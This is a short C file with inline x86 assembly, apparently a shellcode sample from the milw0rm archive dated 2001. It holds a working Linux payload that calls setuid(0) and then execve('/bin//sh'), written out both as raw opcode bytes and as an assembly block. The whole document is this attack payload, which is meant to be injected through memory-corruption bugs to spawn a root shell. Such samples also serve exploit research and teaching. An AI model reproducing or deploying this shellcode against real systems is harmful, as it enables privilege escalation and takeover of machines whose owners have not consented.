/* s0t4ipv6@shellcode.com.ar 20 de marzo de 2001 "\x31\xdb" // xorl %ebx,%ebx "\x8d\x43\x17" // leal 0x17(%ebx),%eax "\xcd\x80" // int $0x80 "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 */ void main() { __asm__ (" xorl %ebx, %ebx leal 0x17(%ebx),%eax int $0x80 # here was cleared eax xorl %edx, %edx pushl %edx pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx movb $0xb, %al # and makeuof here int $0x80 "); } // milw0rm.com [2004-09-12]